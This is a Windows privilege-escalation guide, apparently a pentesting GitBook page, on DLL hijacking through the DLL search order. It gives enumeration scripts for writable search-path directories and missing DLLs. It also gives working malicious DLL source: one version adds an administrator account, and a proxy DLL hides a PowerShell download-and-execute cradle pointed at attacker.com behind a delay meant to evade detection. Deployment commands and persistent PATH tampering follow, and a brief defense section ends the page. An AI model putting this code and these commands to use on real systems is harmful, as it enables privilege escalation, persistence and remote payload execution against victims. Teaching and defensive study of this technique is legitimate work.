This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

DLL hijacking and search order manipulation

DLL Search Order Exploitation

Understanding DLL Hijacking

DLL Hijacking is like tricking Windows into loading the wrong library. Imagine you ask someone to "bring me the hammer from the toolbox," but you don't specify which toolbox. They'll check the closest toolbox first, then the next closest, and so on. If someone places a fake hammer in the first toolbox they check, they'll bring you the fake one instead of the real hammer.

This is exactly how DLL hijacking works with Windows applications.

How Windows Searches for DLLs

When an application needs to load a DLL (Dynamic Link Library), Windows follows a specific search order. Think of this as Windows having a checklist of places to look for the DLL file.

Default Search Order:

  1. Application Directory - The folder where the .exe file is located

  2. System Directory - Usually C:\Windows\System32

  3. 16-bit System Directory - C:\Windows\System (legacy)

  4. Windows Directory - C:\Windows

  5. Current Working Directory - The folder you're currently in

  6. PATH Environment Variable - All directories listed in your PATH

Why This Creates Vulnerability:

  • Windows stops at the FIRST matching DLL it finds

  • If you can place a malicious DLL in a location that's searched before the legitimate one, your DLL gets loaded instead

  • The malicious DLL inherits the same privileges as the application that loads it

Real-World Example

Let's say you have an application called "SuperApp.exe" located in C:\Program Files\SuperApp\. When SuperApp tries to load "version.dll", Windows searches in this order:

  1. First checks: C:\Program Files\SuperApp\version.dll

  2. Then checks: C:\Windows\System32\version.dll

  3. Then checks: C:\Windows\version.dll

  4. And so on...

If an attacker can write to the SuperApp directory and places their malicious "version.dll" there, Windows will load the attacker's DLL instead of the legitimate one.

SafeDllSearchMode Protection

Modern Windows includes a security feature called SafeDllSearchMode that changes the search order slightly:

Safe Search Order:

  1. Application Directory

  2. System Directory (C:\Windows\System32)

  3. 16-bit System Directory

  4. Windows Directory

  5. Current Working Directory (moved lower for security)

  6. PATH directories

This makes the current working directory less dangerous, but other attack vectors still exist.

Enumeration

Checking Search Order Configuration

Check if SafeDllSearchMode is enabled:

reg query "HKLM\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

The result tells you:

  • 0 = Disabled (legacy, less secure behavior)

  • 1 = Enabled (safer behavior, default on modern Windows)

Finding Writable Directories in Search Path

Manual directory permission check:

icacls "C:\Program Files\Application" | findstr /i "Users\|Everyone"
icacls "%WINDIR%" | findstr /i "Users\|Everyone"
icacls "%WINDIR%\System32" | findstr /i "Users\|Everyone"

This command shows if regular users or everyone has write access to these critical directories.

PowerShell automated search:

# Test if current user can write to a directory
function Test-DirectoryWritable {
    param([string]$Path)
    
    try {
        if (-not (Test-Path $Path)) { return $false }
        
        $testFile = Join-Path $Path "writetest_$(Get-Random).tmp"
        [System.IO.File]::WriteAllText($testFile, "test")
        Remove-Item $testFile -Force
        return $true
    } catch {
        return $false
    }
}

# Check common search locations
$searchPaths = @(
    $env:WINDIR,
    "$env:WINDIR\System32",
    (Get-Location).Path
)
$searchPaths += ($env:PATH -split ';' | Where-Object {$_ -ne ""})

foreach ($path in $searchPaths) {
    if (Test-Path $path) {
        $isWritable = Test-DirectoryWritable -Path $path
        $status = if ($isWritable) {"[WRITABLE]"} else {"[read-only]"}
        Write-Output "$status $path"
    }
}

This script tests each directory in the DLL search path to see if you can write files there.

Understanding the Results

When you find a writable directory that appears early in the search order, you've found a potential DLL hijacking opportunity. The key is:

  • Earlier in search order = Higher chance of success

  • Application directory = Highest priority

  • Current working directory = Good target if you can control it

  • PATH directories = Lower priority but still exploitable


Missing DLL Identification

Understanding Missing DLL Vulnerabilities

Sometimes applications try to load DLLs that don't actually exist on the system. When this happens, you get a perfect opportunity for DLL hijacking because:

  • The application expects the DLL to be there

  • Windows searches for it in the usual places

  • If you place your malicious DLL with the right name, Windows will happily load it

Think of it like someone asking for a book that doesn't exist in the library. If you quickly place a book with that exact title on the shelf, they'll grab your book instead.

Enumeration

Using Process Monitor (ProcMon)

Process Monitor is the gold standard tool for finding missing DLL opportunities. Here's how to use it:

ProcMon Setup Steps:

  1. Download and run Process Monitor from Microsoft Sysinternals

  2. Set up filters to focus on your target:

    • Process Name: Enter the name of the application you're testing

    • Operation: Select "Process and Thread Activity" and "Image/DLL"

  3. Start monitoring and run your target application

  4. Look for these key indicators:

    • "NAME NOT FOUND" events for .dll files

    • "PATH NOT FOUND" events in directories you can write to

    • Failed LoadImage operations

What to Look For: When you see an entry like this in ProcMon:

  • Process: SuperApp.exe

  • Operation: CreateFile

  • Path: C:\Program Files\SuperApp\version.dll

  • Result: NAME NOT FOUND

This tells you that SuperApp.exe is trying to load "version.dll" from its own directory, but the file doesn't exist there. If you can write to that directory, you can place your malicious version.dll there.

Using Dependency Walker

Dependency Walker shows you what DLLs an application is supposed to load:

How to use depends.exe:

  1. Open the target application with Dependency Walker

  2. Look for red entries (missing DLLs)

  3. Check if any missing DLLs are in writable locations

  4. Note any delay-loaded DLLs (loaded on-demand rather than at startup)

PowerShell Analysis

Extract DLL references from executables:

# Look for DLL names mentioned in the executable
Get-Content "C:\Program Files\App\target.exe" -Encoding Byte | 
ForEach-Object { [char]$_ } | 
Out-String | 
Select-String "\.dll" -AllMatches | 
ForEach-Object { $_.Matches.Value } | 
Sort-Object -Unique

This searches through the application's binary data for any text that looks like DLL names.

Advanced Analysis Techniques

COM DLL Investigation

COM (Component Object Model) objects are another source of DLL hijacking opportunities:

Find COM DLLs in registry:

reg query HKLM\SOFTWARE\Classes\CLSID /s /f "*.dll"

This shows you all the COM objects registered on the system and their associated DLLs.

Look for missing COM DLLs:

$comObjects = Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue
foreach ($clsid in $comObjects) {
    try {
        $inprocServer = Get-ItemProperty "$($clsid.PSPath)\InprocServer32" -ErrorAction SilentlyContinue
        if ($inprocServer -and $inprocServer.'(default)') {
            $dllPath = $inprocServer.'(default)'
            if (-not (Test-Path $dllPath)) {
                Write-Output "Missing COM DLL: $dllPath (CLSID: $($clsid.PSChildName))"
            }
        }
    } catch {}
}

This script finds COM objects that reference DLL files that don't exist on the system.

Service DLL Analysis

Windows services often load additional DLLs that can be hijacked:

Check service registry entries:

reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "*.dll"

Find services with missing DLLs:

$services = Get-WmiObject -Class Win32_Service
foreach ($service in $services) {
    try {
        $servicePath = "HKLM:\SYSTEM\CurrentControlSet\Services\$($service.Name)"
        if (Test-Path $servicePath) {
            $serviceKey = Get-ItemProperty $servicePath -ErrorAction SilentlyContinue
            if ($serviceKey.ServiceDll -and -not (Test-Path $serviceKey.ServiceDll)) {
                Write-Output "Missing Service DLL: $($serviceKey.ServiceDll) (Service: $($service.Name))"
            }
        }
    } catch {}
}

DLL Creation and Deployment

Creating Malicious DLLs

Once you've identified a DLL hijacking opportunity, you need to create a malicious DLL that will be loaded instead of the legitimate one.

Basic Malicious DLL Structure

A Windows DLL needs specific entry points to function properly. The most important is DllMain, which gets called when the DLL is loaded.

Simple C++ DLL example:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // This code runs when the DLL is first loaded
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
        break;
    case DLL_PROCESS_DETACH:
        // This code runs when the DLL is unloaded
        break;
    }
    return TRUE;
}

What this code does:

  • DllMain is the entry point that Windows calls when loading the DLL

  • DLL_PROCESS_ATTACH means "run this code when the DLL is first loaded"

  • The system() calls execute command-line commands to create a new user account

  • return TRUE tells Windows the DLL loaded successfully

Compilation commands:

# Using Visual Studio compiler
cl /LD malicious_dll.cpp /Fe:hijacked.dll

# Using MinGW compiler
gcc -shared -o hijacked.dll malicious_dll.cpp -lkernel32

Advanced DLL Proxying

Sometimes you need your malicious DLL to also perform the functions of the legitimate DLL to avoid breaking the application. This is called "DLL proxying."

Proxy DLL concept:

#include <windows.h>

HMODULE hOriginalDLL = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Load the real DLL from a safe location
        hOriginalDLL = LoadLibrary(L"C:\\Windows\\System32\\legitimate.dll");
        
        // Execute malicious payload in background thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL);
        break;
    case DLL_PROCESS_DETACH:
        if (hOriginalDLL) {
            FreeLibrary(hOriginalDLL);
        }
        break;
    }
    return TRUE;
}

DWORD WINAPI MaliciousPayload(LPVOID lpParam) {
    Sleep(5000);  // Wait 5 seconds to avoid detection
    system("powershell.exe -WindowStyle Hidden -Command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\"");
    return 0;
}

// Forward function calls to the legitimate DLL
extern "C" __declspec(dllexport) int SomeFunction(int param) {
    if (hOriginalDLL) {
        int (*originalFunc)(int) = (int(*)(int))GetProcAddress(hOriginalDLL, "SomeFunction");
        if (originalFunc) {
            return originalFunc(param);
        }
    }
    return 0;
}

What this proxy code does:

  • Loads the legitimate DLL from a secure location

  • Forwards function calls to the real DLL to maintain functionality

  • Runs malicious code in a separate thread to avoid blocking the application

  • Uses a delay to make detection harder

Deployment Strategies

Application Directory Hijacking

This is the highest-priority attack because the application directory is searched first:

Steps:

  1. Identify the target application's directory

  2. Check if you have write access to that directory

  3. Place your malicious DLL there with the name of a missing or targeted DLL

  4. Run the application

Example commands:

# Check if application directory is writable
echo test > "C:\Program Files\VulnerableApp\test.txt"
del "C:\Program Files\VulnerableApp\test.txt"

# If writable, place malicious DLL
copy malicious.dll "C:\Program Files\VulnerableApp\version.dll"

# Run the application to trigger DLL loading
"C:\Program Files\VulnerableApp\app.exe"

Current Working Directory Hijacking

If SafeDllSearchMode is disabled, the current working directory is searched early:

Attack process:

  1. Create a directory you control

  2. Place your malicious DLL there

  3. Run the target application from that directory

Example:

# Create attack directory
mkdir C:\Users\Public\dll_attack
cd C:\Users\Public\dll_attack

# Place malicious DLL
copy malicious.dll version.dll

# Run target application from this directory
"C:\Program Files\VulnerableApp\app.exe"

When the application runs, it will search the current directory (your attack directory) for DLLs and load your malicious version.

PATH Directory Hijacking

This targets directories in the PATH environment variable:

Find writable PATH directories:

for %%i in ("%PATH:;=" "%") do (
    echo Testing: %%i
    echo test > "%%i\test.tmp" 2>nul && (
        echo [WRITABLE] %%i
        del "%%i\test.tmp" 2>nul
    )
)

Deploy to writable PATH directory:

copy malicious.dll "C:\writable\path\directory\target.dll"

Environment Manipulation

PATH Modification Attack

You can modify the PATH environment variable to prioritize your malicious directory:

Temporary PATH modification:

set PATH=C:\malicious\directory;%PATH%
"C:\Program Files\VulnerableApp\app.exe"

PowerShell persistent PATH modification:

# Add malicious directory to beginning of PATH (highest priority)
$currentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
$newPath = "C:\malicious\directory;$currentPath"
[Environment]::SetEnvironmentVariable("PATH", $newPath, "User")

This makes Windows search your malicious directory before any other PATH directories.

Working Directory Control

Many applications are vulnerable when run from attacker-controlled directories:

Attack scenario:

  1. Create a folder with your malicious DLLs

  2. Copy or link the target application to your folder

  3. Run the application from your folder

  4. The application loads your DLLs instead of the system ones

Quick Enumeration with Tools

PowerUp DLL hijacking checks:

Import-Module .\PowerUp.ps1
Find-ProcessDLLHijack
Find-PathDLLHijack

WinPEAS DLL analysis:

winpeas.exe systeminfo | findstr /i "dll"
winpeas.exe filesinfo | findstr /i "dll"

Defense and Mitigation

Enable SafeDllSearchMode:

reg add "HKLM\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f

Monitor DLL loading:

# Set up file system watcher for new DLLs
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Windows\System32"
$watcher.Filter = "*.dll"
$watcher.EnableRaisingEvents = $true

Register-ObjectEvent -InputObject $watcher -EventName "Created" -Action {
    $path = $Event.SourceEventArgs.FullPath
    Write-Warning "[!] New DLL created: $path"
}

System hardening:

# Set restrictive permissions on system directories
icacls "C:\Windows\System32" /remove:g "Users"
icacls "C:\Windows\System32" /remove:g "Everyone"

Application-level protection:

  • Always use full paths when loading DLLs in code

  • Verify DLL signatures before loading

  • Use SetDllDirectory() API to control search paths

  • Enable Control Flow Guard (CFG) compilation options


This guide covers Windows DLL hijacking for authorized penetration testing only.

Last updated

Was this helpful?